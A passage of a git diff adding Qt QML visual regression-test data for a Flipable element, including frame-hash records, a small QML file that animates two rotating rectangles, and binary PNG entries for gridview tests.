"021c3a598b008991114b25b26191e8ef" + } + Frame { + msec: 1248 + hash: "b372131d6fc29e7dbffc2c5f4e269ad7" + } + Frame { + msec: 1264 + hash: "2120fc188aed6888eba85e9d49139000" + } + Frame { + msec: 1280 + hash: "0523499bb4f4c6d0c3d2cd28fbac7056" + } + Frame { + msec: 1296 + hash: "19d1fc79802728d6b0af222050b59463" + } + Frame { + msec: 1312 + hash: "f48686053780376c7ab2e6481e3fd0ad" + } + Frame { + msec: 1328 + hash: "0f7c5ca70fec90e7e8b2fd50b791fd2e" + } + Frame { + msec: 1344 + hash: "93cd129be7cfebaa2ea8a074a77aaa7c" + } + Frame { + msec: 1360 + hash: "e6b149da031b1c0b842b1b7872bd2d91" + } + Frame { + msec: 1376 + hash: "5481248e889fb4fe9f4cf54f69d9f614" + } + Frame { + msec: 1392 + hash: "23bb444b6248901da3eb6a2e805438cb" + } + Frame { + msec: 1408 + hash: "1c9feb1c3ae76d4015c99d005ecfed60" + } + Frame { + msec: 1424 + hash: "41e5345dc90fd48476f35ceeab281948" + } + Frame { + msec: 1440 + hash: "89682a955a00e68031571ac765f9f5e3" + } + Frame { + msec: 1456 + hash: "8ff7cee41c6f19eeda417052c1b071d6" + } + Frame { + msec: 1472 + hash: "67a73129d828e8a05b1efc768cf40146" + } + Frame { + msec: 1488 + hash: "0800a78c97c92c697e44ded54fdcf934" + } + Frame { + msec: 1504 + hash: "d5d51263367f0c53b8d94a03d83338d9" + } + Frame { + msec: 1520 + hash: "ab749885f356683e17ca52f904ae582d" + } + Frame { + msec: 1536 + hash: "7f5a56f30222a9886d1e9d014b4f5cab" + } + Frame { + msec: 1552 + hash: "10c5e64eff104dce59f54f70c5564959" + } + Frame { + msec: 1568 + hash: "38b00c7544648ef06705acc2e9eca1f5" + } + Frame { + msec: 1584 + hash: "56bdfcb8fbb776b3799676ba7934a354" + } + Frame { + msec: 1600 + hash: "ea5349d337e397b3ee5e0db0c296f5e5" + } + Frame { + msec: 1616 + hash: "6bd784ca760edba5a6f0b4212237e1e8" + } + Frame { + msec: 1632 + hash: "77e7888a37a7724bded817903cbe777e" + } + Frame { + msec: 1648 + hash: "55213bdb2f1f2d25b5680db95e79bbac" + } + Frame { + msec: 1664 + hash: "6d62c7f7f76cc1d4e33c152234000da0" + } + Frame { + msec: 1680 + hash: "0f6aa29c172054887e4ddb6512ae43b1" + } + Frame { + msec: 1696 + hash: "75fd94508b77bbdde34a61b74ff49e12" + } + Frame { + msec: 1712 + hash: "0dfdd9a1d83a706a09318c83fd08b6fe" + } + Frame { + msec: 1728 + hash: "4f895ee983424c164be3e2db488a4e51" + } + Frame { + msec: 1744 + hash: "974fd5f390d33afb779ac754f0e30b2a" + } + Frame { + msec: 1760 + hash: "fd40e22c7d3cfceeee7dc668d1cf0a12" + } + Frame { + msec: 1776 + hash: "4e3c04b35bcc43a4295582da1674da2e" + } + Frame { + msec: 1792 + hash: "629888aae80ea85db07a383df352214a" + } + Frame { + msec: 1808 + hash: "9a92c68cfad54c313d24e38240ea072f" + } + Frame { + msec: 1824 + hash: "3e27569d19670ec99f11bfa46099456a" + } + Frame { + msec: 1840 + hash: "5d4be9ed8c4ba7faefde5427cdbffc73" + } + Frame { + msec: 1856 + hash: "232d4e03a57edf0386b06884482f9730" + } + Frame { + msec: 1872 + hash: "c45f959fd81ac08add219326cb6a8bfc" + } + Frame { + msec: 1888 + hash: "349111e36190f77afd53c50ee2e9ba94" + } + Frame { + msec: 1904 + hash: "ea5ed48b2bcdfd2a711a3a71a4ae37c3" + } + Frame { + msec: 1920 + image: "test-flipable.1.png" + } + Frame { + msec: 1936 + hash: "ae4e35413e462221b8cb48dd0350f873" + } + Frame { + msec: 1952 + hash: "63cc3851236d5de613c85a2971ef7145" + } + Frame { + msec: 1968 + hash: "45d5fdb92107a7074d56d97bda34756f" + } + Frame { + msec: 1984 + hash: "f74d9a3b53a629f7fccfdd255fdbba62" + } + Frame { + msec: 2000 + hash: "60c6a30e15ed4ad61c14f15f9f1f3790" + } + Frame { + msec: 2016 + hash: "b5f7c630f6e61c7ddac8493e17a1f53e" + } + Frame { + msec: 2032 + hash: "98558c7135fa84fa08d457c6064b8653" + } + Frame { + msec: 2048 + hash: "2858e39a9b39739bb5c0c1ce23e83b20" + } + Frame { + msec: 2064 + hash: "0b174f04215131cfa32b5d1a32170ac3" + } + Frame { + msec: 2080 + hash: "67e3618bab95519a034ed6c8c1543212" + } + Frame { + msec: 2096 + hash: "2012c5310f198022a3878c9ded08523d" + } + Frame { + msec: 2112 + hash: "1cb6a1f6d873d2bfde457828c17b4886" + } + Frame { + msec: 2128 + hash: "be3f28bd56d9d985408e32cc0aab0623" + } + Frame { + msec: 2144 + hash: "4aa07c4887f873f0f034930bd681f9dc" + } + Frame { + msec: 2160 + hash: "adeae071187b590aa0a142c27098d2f4" + } + Frame { + msec: 2176 + hash: "d777aaccd6143c2c1000bbfabdbefeb2" + } + Frame { + msec: 2192 + hash: "7b4785b9e6610f02c52b4c824bea8ecd" + } + Frame { + msec: 2208 + hash: "c539b3638272e46120edbe4a58e1d894" + } + Frame { + msec: 2224 + hash: "ae466024a1dd731b6730dda255e68eb8" + } + Frame { + msec: 2240 + hash: "f844a288b009cc4c6c28eb30d799c397" + } + Frame { + msec: 2256 + hash: "4fc8ca1992802f97dd431783db89c725" + } + Frame { + msec: 2272 + hash: "79b899461efae97b65b8c24c8820f348" + } + Frame { + msec: 2288 + hash: "cb1ce87ddc372e24e37b60c013310549" + } + Frame { + msec: 2304 + hash: "c8937aea34fd299c151706598828be6f" + } + Frame { + msec: 2320 + hash: "ed5c3a904dc3b72937c6eea475514b2d" + } + Frame { + msec: 2336 + hash: "09043e74a3ac60d05122675a1b253320" + } + Frame { + msec: 2352 + hash: "57677a33d8c60a45c64aea10a695e8d0" + } + Frame { + msec: 2368 + hash: "496fe0b0e420356e4205537fdf3adc2f" + } + Frame { + msec: 2384 + hash: "f4146ce8db5cf2c3da15715820c9f62f" + } + Frame { + msec: 2400 + hash: "b80bc46468695b874d401c4c9bd68932" + } + Frame { + msec: 2416 + hash: "b0cf0021232ab917301206614f61f0bf" + } + Frame { + msec: 2432 + hash: "b0abdf5b86e3fcb22a9254ac5b522380" + } + Frame { + msec: 2448 + hash: "c1624cb7e90ea26ab0c37cfe9919ca36" + } + Frame { + msec: 2464 + hash: "0ffd6a3b3e5f6db5a3a8df756caf713e" + } + Frame { + msec: 2480 + hash: "1604ad8e7a4aa4fa8dff1f37fc8c51d7" + } + Frame { + msec: 2496 + hash: "5bbca0b79c42e263162926e5c2fd3d82" + } + Frame { + msec: 2512 + hash: "9436b4f2ab902673ed067de55da5003e" + } + Frame { + msec: 2528 + hash: "3c7b5fa0970242a2ad308c72d761713b" + } + Frame { + msec: 2544 + hash: "15e451c53e8f5c70614f87f33fe0a2e6" + } + Frame { + msec: 2560 + hash: "7e8cbe203306d2f267a42fed1e4790ed" + } + Frame { + msec: 2576 + hash: "db21ae28564614b58a7dd5ccd97082e6" + } + Frame { + msec: 2592 + hash: "ff52e198874de749c46f9b34cfe40cfc" + } + Frame { + msec: 2608 + hash: "916d92d24a81ced07a54d68c46299d4c" + } + Frame { + msec: 2624 + hash: "2f6cf122e5f15fc5f5d3c92d92ca1384" + } + Frame { + msec: 2640 + hash: "6f328038e5d505c402651423c44986a5" + } + Frame { + msec: 2656 + hash: "6f328038e5d505c402651423c44986a5" + } + Frame { + msec: 2672 + hash: "78e0dca60c04d3defbd90457685dbab3" + } + Frame { + msec: 2688 + hash: "b915de1be0c1779e06fb9eea8237f91d" + } + Frame { + msec: 2704 + hash: "0ff9fd6b09fc14abacb794353b9500f6" + } + Frame { + msec: 2720 + hash: "5a1c9cd9da5492a61a3a1bc6ad37ef17" + } + Frame { + msec: 2736 + hash: "4c4a72eb4105903802de56a4a62d86cc" + } + Frame { + msec: 2752 + hash: "6d813ee777a5900c65aca5939c004d0c" + } + Frame { + msec: 2768 + hash: "6d813ee777a5900c65aca5939c004d0c" + } + Frame { + msec: 2784 + hash: "0acaa3ece071ad4461cf4a79d65a0f03" + } + Frame { + msec: 2800 + hash: "0acaa3ece071ad4461cf4a79d65a0f03" + } + Frame { + msec: 2816 + hash: "f5cf7e68edc5fcd9dd91882d3f9ba380" + } + Frame { + msec: 2832 + hash: "51f8508eddffbac2fad22bd3e8040c69" + } + Frame { + msec: 2848 + hash: "a09746c72df5330f6ca2a93d9b8e79f6" + } + Frame { + msec: 2864 + hash: "b2ef52b66896649413b3852bcf642e1c" + } + Frame { + msec: 2880 + image: "test-flipable.2.png" + } + Frame { + msec: 2896 + hash: "ae76d183491834e2b1d0371420d51ce5" + } + Frame { + msec: 2912 + hash: "b19d89aa671cc3a773f64a7bae21adb6" + } + Frame { + msec: 2928 + hash: "08eb7bd2e49fe600e922e49a3aa56e93" + } + Frame { + msec: 2944 + hash: "1e3a7bdd0bd9d5b84c2cb5b646d7fb45" + } + Frame { + msec: 2960 + hash: "be9f5091197899c0b89823e4403358f3" + } + Frame { + msec: 2976 + hash: "1daeebce8e7eef80b135d2e4f83f780b" + } + Frame { + msec: 2992 + hash: "1daeebce8e7eef80b135d2e4f83f780b" + } + Frame { + msec: 3008 + hash: "1daeebce8e7eef80b135d2e4f83f780b" + } + Frame { + msec: 3024 + hash: "1daeebce8e7eef80b135d2e4f83f780b" + } + Frame { + msec: 3040 + hash: "1daeebce8e7eef80b135d2e4f83f780b" + } + Frame { + msec: 3056 + hash: "1daeebce8e7eef80b135d2e4f83f780b" + } + Frame { + msec: 3072 + hash: "be9f5091197899c0b89823e4403358f3" + } + Frame { + msec: 3088 + hash: "be9f5091197899c0b89823e4403358f3" + } + Frame { + msec: 3104 + hash: "1e3a7bdd0bd9d5b84c2cb5b646d7fb45" + } + Frame { + msec: 3120 + hash: "b19d89aa671cc3a773f64a7bae21adb6" + } + Frame { + msec: 3136 + hash: "e7ed4449b5ea3288d5e8fecb33a4a422" + } + Frame { + msec: 3152 + hash: "186a2c1af03e7fa590ff3cd7422285e3" + } + Frame { + msec: 3168 + hash: "373141f99bc88c40ead161502c9750e9" + } + Frame { + msec: 3184 + hash: "0221e2ef4cf809ebfeba466206a77cce" + } + Frame { + msec: 3200 + hash: "51f8508eddffbac2fad22bd3e8040c69" + } + Frame { + msec: 3216 + hash: "f5cf7e68edc5fcd9dd91882d3f9ba380" + } + Frame { + msec: 3232 + hash: "0acaa3ece071ad4461cf4a79d65a0f03" + } + Frame { + msec: 3248 + hash: "0acaa3ece071ad4461cf4a79d65a0f03" + } + Frame { + msec: 3264 + hash: "6d813ee777a5900c65aca5939c004d0c" + } + Frame { + msec: 3280 + hash: "6d813ee777a5900c65aca5939c004d0c" + } + Frame { + msec: 3296 + hash: "6d813ee777a5900c65aca5939c004d0c" + } + Frame { + msec: 3312 + hash: "5a1c9cd9da5492a61a3a1bc6ad37ef17" + } + Frame { + msec: 3328 + hash: "0ff9fd6b09fc14abacb794353b9500f6" + } + Frame { + msec: 3344 + hash: "0ff9fd6b09fc14abacb794353b9500f6" + } + Frame { + msec: 3360 + hash: "6f328038e5d505c402651423c44986a5" + } + Frame { + msec: 3376 + hash: "6f328038e5d505c402651423c44986a5" + } + Frame { + msec: 3392 + hash: "dd04a76df90f27358f4162fd85cfa4cd" + } + Frame { + msec: 3408 + hash: "12df495b5e8bfd2c9dd13fbeccc69e08" + } + Frame { + msec: 3424 + hash: "4b6f9dcde7d5d88b9c3eff3187378036" + } + Frame { + msec: 3440 + hash: "712f3850c0efe45c60a3761f1354b90b" + } + Frame { + msec: 3456 + hash: "22215981f00790d7a409230eb730abca" + } + Frame { + msec: 3472 + hash: "a4a26f9736282ceb307f0f97735002eb" + } + Frame { + msec: 3488 + hash: "b41d7a18d84a8b220e99464cab86882d" + } + Frame { + msec: 3504 + hash: "c7c1961120f128cd0fcd6a7b61c98197" + } + Frame { + msec: 3520 + hash: "e56e7ba603d2620afb0fab6b19aff33e" + } + Frame { + msec: 3536 + hash: "1a258bed9a7a38452a746d7641016e73" + } + Frame { + msec: 3552 + hash: "a237b9c187bbbcb79f624d74def15db2" + } + Frame { + msec: 3568 + hash: "34a7afdebb7352ca65e0eaec61632d12" + } + Frame { + msec: 3584 + hash: "a5a98e932a30418bae62bb006afc1048" + } + Frame { + msec: 3600 + hash: "2ee25374cb9fef01e78d02c4131010b7" + } + Frame { + msec: 3616 + hash: "7956b07b848ba89905e5c609657503e2" + } + Frame { + msec: 3632 + hash: "0949a2b13f6475b3f11be04321c953a1" + } + Frame { + msec: 3648 + hash: "5a1ff901ecc7c3cd7f39cd07e0273dd4" + } + Frame { + msec: 3664 + hash: "44fcd7209b9f5b1c28c21e9aae408097" + } + Frame { + msec: 3680 + hash: "bee94f395239aebb0bacca3dbbee95e5" + } + Frame { + msec: 3696 + hash: "bd26b7e2b07bbcee3819fdacc35eea8d" + } + Frame { + msec: 3712 + hash: "d3707b90c5cd0d1061db4b97b6fcb96a" + } + Frame { + msec: 3728 + hash: "6f6ed6c7553b3f909d53e2146b3831d5" + } + Frame { + msec: 3744 + hash: "a3a1a03617d1cb5660c51bf2f18088bc" + } + Frame { + msec: 3760 + hash: "6d4646f0a53800ad60d173ab9cb9010a" + } + Frame { + msec: 3776 + hash: "126cae232e2fe49e3188393c2798065b" + } + Frame { + msec: 3792 + hash: "e1fa758d333ffe5208365c0babff33a0" + } + Frame { + msec: 3808 + hash: "f2a6156f7d6013bd4234b35c21adb074" + } + Frame { + msec: 3824 + hash: "0271f66eb6d9b91a3ab8da2d728b9581" + } + Frame { + msec: 3840 + image: "test-flipable.3.png" + } + Frame { + msec: 3856 + hash: "e18635d7c6c5de361e7406c2db357aca" + } + Frame { + msec: 3872 + hash: "56100e9ca8d1eb7e6334e5a05ef2b94d" + } + Frame { + msec: 3888 + hash: "3d15b8d662d3df82dd78590c43794337" + } + Frame { + msec: 3904 + hash: "9729b36fe9dbabf0c46e78b723885530" + } + Frame { + msec: 3920 + hash: "ccb8b51084cc1ef3d201887b824fb1ac" + } + Frame { + msec: 3936 + hash: "d9dc9d240a6f89603a54bccd66361530" + } + Frame { + msec: 3952 + hash: "0e52d92455c263493d32ffe93f242739" + } + Frame { + msec: 3968 + hash: "695ab932722844b975097779e26df55c" + } + Frame { + msec: 3984 + hash: "da285cba2e11db1e87d1d180e376ff8e" + } + Frame { + msec: 4000 + hash: "54bd12888fc4526d310fa0a66b5ba3be" + } + Frame { + msec: 4016 + hash: "c3e3db473bdb96fd619b078f0f6b3ceb" + } + Frame { + msec: 4032 + hash: "acfd8aaf0bb52ad3ef3116bb99f3656a" + } + Frame { + msec: 4048 + hash: "c5a0877ce86c26b30b642818e83d6118" + } + Frame { + msec: 4064 + hash: "b187fde9af2bad37f84f6324afcbb303" + } + Frame { + msec: 4080 + hash: "0dfe035424d7f31dda88be3b4bb30c8a" + } + Frame { + msec: 4096 + hash: "893bddc95fbf6e452ba61b06eab1a8c5" + } + Frame { + msec: 4112 + hash: "35fb89ea579819f4b3416ff1c1b1cc9d" + } + Frame { + msec: 4128 + hash: "316371649f9a1e12e336c5823408eaf9" + } + Frame { + msec: 4144 + hash: "ade751c6e497c73a920baf18f0752908" + } + Frame { + msec: 4160 + hash: "86720fa1eeae374c6cc67e107d27e23a" + } + Frame { + msec: 4176 + hash: "1a6f080227f1ccd03b6c4093b9fdadb3" + } + Frame { + msec: 4192 + hash: "f7d7398edba69716ec8c0699d5472dca" + } + Frame { + msec: 4208 + hash: "9e62c9dd25abb203f5c06c7bff0d8363" + } + Frame { + msec: 4224 + hash: "fd90404238b458fc86a4a17e6a976f9b" + } + Frame { + msec: 4240 + hash: "e39668dc347318fc61a365f9006aab3c" + } + Frame { + msec: 4256 + hash: "c40f41f635f10f5f9b04b42ba2dc5bb1" + } + Frame { + msec: 4272 + hash: "c0f971c75b7237de7e9b2f25cc3f34b2" + } + Frame { + msec: 4288 + hash: "a1c79481fd1632cfdc396aefb3592534" + } + Frame { + msec: 4304 + hash: "6eee76f40fc7ec1a1e3d77c849321740" + } + Frame { + msec: 4320 + hash: "0a36746ab17caef5946731c31af3823f" + } + Frame { + msec: 4336 + hash: "863dedd22df4e1d14e73eaeb851e9b66" + } + Frame { + msec: 4352 + hash: "318e8751f7056bb6a004c8a7ce7be870" + } + Frame { + msec: 4368 + hash: "8fb2809a366f42c86fad7aa5db3ff22c" + } + Frame { + msec: 4384 + hash: "8aaea666640cb3b27e3374f756fe411b" + } + Frame { + msec: 4400 + hash: "1f552095d26a8d145584e36237630916" + } + Frame { + msec: 4416 + hash: "cd5aa55715786cac0f7efc90c7c4b9d6" + } + Frame { + msec: 4432 + hash: "7a3153d9309ec338dce3437ecf667646" + } + Frame { + msec: 4448 + hash: "c7fa40e69148f1c5ec494ad159b6ce6c" + } + Frame { + msec: 4464 + hash: "e131bc8ca25ddc4b7dd6582ff034fe14" + } + Frame { + msec: 4480 + hash: "3174c672e62dae0341d5849e23031280" + } + Frame { + msec: 4496 + hash: "0b25fb7d33708a3292ede7c66e25a3d7" + } + Frame { + msec: 4512 + hash: "84b3cf92b3abc2f5acf07cfccf3c0202" + } + Frame { + msec: 4528 + hash: "fafbd14d296e4954bce7816d811ddd89" + } + Frame { + msec: 4544 + hash: "865018d8408863b741a7082a962236dc" + } + Frame { + msec: 4560 + hash: "f626082691429565b55ce9e04b14a665" + } + Frame { + msec: 4576 + hash: "8a02f7d3d53e98384d1f05dc7fc5fd37" + } + Frame { + msec: 4592 + hash: "6af3a8305b25a9a769b8cf00479c6ab3" + } + Frame { + msec: 4608 + hash: "b31470b0ac4a593317abc365acb2b281" + } + Frame { + msec: 4624 + hash: "efd00c43b1b8bbc4bc5496dcfa58c6b0" + } + Frame { + msec: 4640 + hash: "498cf6c20aeca609e9d9cea78f0cc6a3" + } + Frame { + msec: 4656 + hash: "b55661b5d9632bc0d7fc7ff3a421a2e7" + } + Frame { + msec: 4672 + hash: "2f1e402c5e4a0615528f91dd2e183ddd" + } + Frame { + msec: 4688 + hash: "d1c166cc7932e72ba22a73637cad65d6" + } + Frame { + msec: 4704 + hash: "374b703e0059fc80b67480113d584754" + } + Frame { + msec: 4720 + hash: "e8de71d4a2a253e366b2edf5d475824d" + } + Frame { + msec: 4736 + hash: "6a9d033b332f0c0285284fdaddf3bbdb" + } + Frame { + msec: 4752 + hash: "640c227fb62e40c666035e7465ac5c4e" + } + Frame { + msec: 4768 + hash: "9cf7dc6507befd6ae54f380a7d87a207" + } + Frame { + msec: 4784 + hash: "d1c7b2160c08e03e7a98d7d2db0116f7" + } + Frame { + msec: 4800 + image: "test-flipable.4.png" + } + Frame { + msec: 4816 + hash: "6e48e605ea1aed4028e02476328f182b" + } + Frame { + msec: 4832 + hash: "2dfa5fdfd07e7000caee6abf5fe84378" + } + Frame { + msec: 4848 + hash: "2b0c2f019b07f1f8b4e5af9a520ab061" + } + Frame { + msec: 4864 + hash: "33cb1aaeb7dafc2475e4337be7cc7892" + } + Frame { + msec: 4880 + hash: "91290d1435bedb5010ba135a7f99c0a2" + } + Frame { + msec: 4896 + hash: "df7434eb6c6e5d45935d6c6fd03f06d1" + } + Frame { + msec: 4912 + hash: "48dfe78dcdd65242132071454fb9ea33" + } + Frame { + msec: 4928 + hash: "1b288012e123cb6051bfa180ea2a2bc0" + } + Frame { + msec: 4944 + hash: "84b23d92987f59df336d9b269e3b7bbc" + } + Frame { + msec: 4960 + hash: "c413ca53240df702c3ba0c7f4dacca3b" + } + Frame { + msec: 4976 + hash: "339c06a2e1fc05ebfd3732097b9c5242" + } + Frame { + msec: 4992 + hash: "f1e647e274ac8c8458d2c1e576623688" + } + Frame { + msec: 5008 + hash: "a70dc2f51ecfc164595cfef61c1da245" + } + Frame { + msec: 5024 + hash: "b69f034a71b53c885cd177da422d5fc7" + } + Frame { + msec: 5040 + hash: "26c25a031944c677b30f69c8498ac6ce" + } + Frame { + msec: 5056 + hash: "ebc2328766e8736eac989e309968d8f9" + } + Frame { + msec: 5072 + hash: "41d55f53bfc74e614c906d3f6b813704" + } + Frame { + msec: 5088 + hash: "135e97adb3f19aa19d746ece1b2b3d02" + } + Frame { + msec: 5104 + hash: "85c4454dbe9a39b3005f32fd7a06b1b2" + } + Frame { + msec: 5120 + hash: "7561e0dd6970f7c81bcb53c9371d4405" + } + Frame { + msec: 5136 + hash: "c9961d5abf700a06ed294ce7aecb6147" + } + Frame { + msec: 5152 + hash: "29acf87effa3c21322334080776c566e" + } + Frame { + msec: 5168 + hash: "04990a79d5ff5cb41dcd48d3e3bf5b11" + } + Frame { + msec: 5184 + hash: "f40c78c37a26249ecb161af778631f7b" + } + Frame { + msec: 5200 + hash: "eddacaeae7c47d063db737f678896da1" + } + Frame { + msec: 5216 + hash: "5ae523dc1115fd0904875718e05aa2a5" + } + Frame { + msec: 5232 + hash: "f09c299412a9e2fd353c4937ad959f25" + } + Frame { + msec: 5248 + hash: "9caeae0abd3bc665bd307997baea6a48" + } + Frame { + msec: 5264 + hash: "e9d222c9d23773488b64b0a6323c1095" + } + Frame { + msec: 5280 + hash: "ad34c46ab3d418a2af7bffc59e720868" + } + Frame { + msec: 5296 + hash: "ff0d8cfd272fca5be34b663a7e52f283" + } + Frame { + msec: 5312 + hash: "55f95277276217de16b6b43090bbb807" + } + Frame { + msec: 5328 + hash: "387fadf4140d335c0b05cfee0c37a413" + } + Frame { + msec: 5344 + hash: "10a1a5a91c11aa8279ae4e57e4d3946b" + } + Frame { + msec: 5360 + hash: "414f7bf3a3ec05a9840cd104a13d5504" + } + Frame { + msec: 5376 + hash: "e027716402ead36450732c8350e614b5" + } + Frame { + msec: 5392 + hash: "0190f59275f01429ee6761b39ce99fc1" + } + Frame { + msec: 5408 + hash: "7f99dd337561f006a7c56babe3c10c38" + } + Frame { + msec: 5424 + hash: "4bbb76393e56b5da723c1f33a7694013" + } + Frame { + msec: 5440 + hash: "00eedf86916629fe90f3c2f36e0c689e" + } + Frame { + msec: 5456 + hash: "84d1f5a6604b75371f2fa7b60a59299b" + } + Frame { + msec: 5472 + hash: "00488220a460746be6d7d1b66d15c392" + } + Frame { + msec: 5488 + hash: "cae5a6d45425d641228210a47c5ee5f6" + } + Frame { + msec: 5504 + hash: "670a2132e65564ca2cfd58ec9842ba93" + } + Frame { + msec: 5520 + hash: "212b6cc9fa130bec9579cf218e1f7eeb" + } + Frame { + msec: 5536 + hash: "b159e67541b5b1b5071f6cd041c62293" + } + Frame { + msec: 5552 + hash: "8c4e62d26e19c32200772edefd329db3" + } + Frame { + msec: 5568 + hash: "1ff120d0444e398cc79190012b548b4b" + } + Frame { + msec: 5584 + hash: "1c75bccd5e19ee9a2644585b726db048" + } + Frame { + msec: 5600 + hash: "bc16aff96b1f9cfe3807e95e371a8f26" + } + Frame { + msec: 5616 + hash: "35a5fdb20bdbaf0122cac4cad60e7bb8" + } + Frame { + msec: 5632 + hash: "ea7ac72c81abff8af260be508b6cf117" + } + Frame { + msec: 5648 + hash: "2d112d040fd425c59b511066737e494d" + } + Frame { + msec: 5664 + hash: "769d2724656dbf0e793ecd8e42db3de2" + } + Frame { + msec: 5680 + hash: "1c25b3d65e8590f8c213afa76b722e97" + } + Frame { + msec: 5696 + hash: "760a103d4524f8b665c6ff42185a8ce7" + } + Frame { + msec: 5712 + hash: "451a9408b04826ab35749d9120efd6bb" + } + Frame { + msec: 5728 + hash: "3fad6b23b0b78f844e02fe307e20d376" + } + Frame { + msec: 5744 + hash: "451a9408b04826ab35749d9120efd6bb" + } + Frame { + msec: 5760 + image: "test-flipable.5.png" + } + Frame { + msec: 5776 + hash: "90fb4e4ba04ac32b52c10b3258431c04" + } + Frame { + msec: 5792 + hash: "90fb4e4ba04ac32b52c10b3258431c04" + } + Frame { + msec: 5808 + hash: "da2a1e5e988c27577ceb453cb0383703" + } + Frame { + msec: 5824 + hash: "ae2407f8da9a047d2725bcdcf8e568b2" + } + Frame { + msec: 5840 + hash: "ae2407f8da9a047d2725bcdcf8e568b2" + } + Frame { + msec: 5856 + hash: "e97a5d968da37789c28816608fa262a1" + } + Frame { + msec: 5872 + hash: "9becb90d9f8a61f5afacdc53d137ebcb" + } + Frame { + msec: 5888 + hash: "9811f823e057882d384f36d7227fa12e" + } + Frame { + msec: 5904 + hash: "1e7a308d18851db0a430542178944c67" + } + Frame { + msec: 5920 + hash: "692931f1db6ddf0b37eb64026ca830f8" + } + Frame { + msec: 5936 + hash: "2117c775960234c297187ea2e9d51e73" + } + Frame { + msec: 5952 + hash: "f8038dc4b67b92ef776a97589240e8c5" + } + Frame { + msec: 5968 + hash: "51dff66a7767e3464fda60f2cf906700" + } + Frame { + msec: 5984 + hash: "7e16e6360fc2e9db67dbf11d58042745" + } + Frame { + msec: 6000 + hash: "7e16e6360fc2e9db67dbf11d58042745" + } + Frame { + msec: 6016 + hash: "7e16e6360fc2e9db67dbf11d58042745" + } + Frame { + msec: 6032 + hash: "7e16e6360fc2e9db67dbf11d58042745" + } + Frame { + msec: 6048 + hash: "7e16e6360fc2e9db67dbf11d58042745" + } + Frame { + msec: 6064 + hash: "51dff66a7767e3464fda60f2cf906700" + } + Frame { + msec: 6080 + hash: "f8038dc4b67b92ef776a97589240e8c5" + } + Frame { + msec: 6096 + hash: "2117c775960234c297187ea2e9d51e73" + } + Frame { + msec: 6112 + hash: "692931f1db6ddf0b37eb64026ca830f8" + } + Frame { + msec: 6128 + hash: "f01b7368e42381dda5eadf56482ea993" + } + Frame { + msec: 6144 + hash: "9811f823e057882d384f36d7227fa12e" + } + Frame { + msec: 6160 + hash: "9b40b6c75af876567ff49688bc710f2a" + } + Frame { + msec: 6176 + hash: "e97a5d968da37789c28816608fa262a1" + } + Frame { + msec: 6192 + hash: "2cd0627fdc63bb91f8dcac789d7a93b2" + } + Frame { + msec: 6208 + hash: "ae2407f8da9a047d2725bcdcf8e568b2" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 6224 + hash: "90fb4e4ba04ac32b52c10b3258431c04" + } + Frame { + msec: 6240 + hash: "90fb4e4ba04ac32b52c10b3258431c04" + } + Frame { + msec: 6256 + hash: "90fb4e4ba04ac32b52c10b3258431c04" + } + Frame { + msec: 6272 + hash: "90fb4e4ba04ac32b52c10b3258431c04" + } + Frame { + msec: 6288 + hash: "73c06997014af4e008b546b53fe349fb" + } + Frame { + msec: 6304 + hash: "451a9408b04826ab35749d9120efd6bb" + } + Frame { + msec: 6320 + hash: "451a9408b04826ab35749d9120efd6bb" + } + Frame { + msec: 6336 + hash: "3fad6b23b0b78f844e02fe307e20d376" + } + Frame { + msec: 6352 + hash: "1c25b3d65e8590f8c213afa76b722e97" + } + Frame { + msec: 6368 + hash: "769d2724656dbf0e793ecd8e42db3de2" + } + Frame { + msec: 6384 + hash: "9e375cb3815723a2c5dda39c79325e96" + } + Frame { + msec: 6400 + hash: "77a245991ed8e40163bd0224eb15f20e" + } + Frame { + msec: 6416 + hash: "e6936f1122c8c0a76b0eb61ad086a9f1" + } + Frame { + msec: 6432 + hash: "8048f84221a02e7102cf3272445862a1" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/test-flipable.qml b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/test-flipable.qml new file mode 100644 index 0000000..a27aa6e --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/test-flipable.qml @@ -0,0 +1,79 @@ +import Qt 4.6 + +Rectangle { + width: 400; height: 240 + color: "white" + + Timer { + interval: 3000; running: true; repeat: true; triggeredOnStart: true + onTriggered: { + if (flipable.state == '') flipable.state = 'back'; else flipable.state = '' + if (flipable2.state == '') flipable2.state = 'back'; else flipable2.state = '' + } + } + + Flipable { + id: flipable + width: 200; height: 200 + + transform: Rotation { + id: rotation; angle: 0 + origin.x: 100; origin.y: 100 + axis.x: 0; axis.y: 1; axis.z: 0 + } + + front: Rectangle { + color: "steelblue"; width: 200; height: 200 + } + + back: Rectangle { + color: "deeppink"; width: 200; height: 200 + } + + states: State { + name: "back" + PropertyChanges { target: rotation; angle: 180 } + } + + transitions: Transition { + NumberAnimation { easing.type: "InOutQuad"; properties: "angle"; duration: 3000 } + } + } + + Flipable { + id: flipable2 + x: 200; width: 200; height: 200 + + transform: Rotation { + id: rotation2; angle: 0 + origin.x: 100; origin.y: 100 + axis.x: 1; axis.z: 0 + } + + front: Rectangle { + color: "deeppink"; width: 200; height: 200 + } + + back: Rectangle { + color: "steelblue"; width: 200; height: 200 + } + + states: State { + name: "back" + PropertyChanges { target: rotation2; angle: 180 } + } + + transitions: Transition { + NumberAnimation { easing.type: "InOutQuad"; properties: "angle"; duration: 3000 } + } + } + + Rectangle { + x: 25; width: 150; y: 210; height: 20; color: "black" + visible: flipable.side == Flipable.Front + } + Rectangle { + x: 225; width: 150; y: 210; height: 20; color: "black" + visible: flipable2.side == Flipable.Back + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.0.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.0.png new file mode 100644 index 0000000..6c82777 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.1.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.1.png new file mode 100644 index 0000000..07b1f7c Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.2.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.2.png new file mode 100644 index 0000000..f2f08c0 Binary files /dev/null and 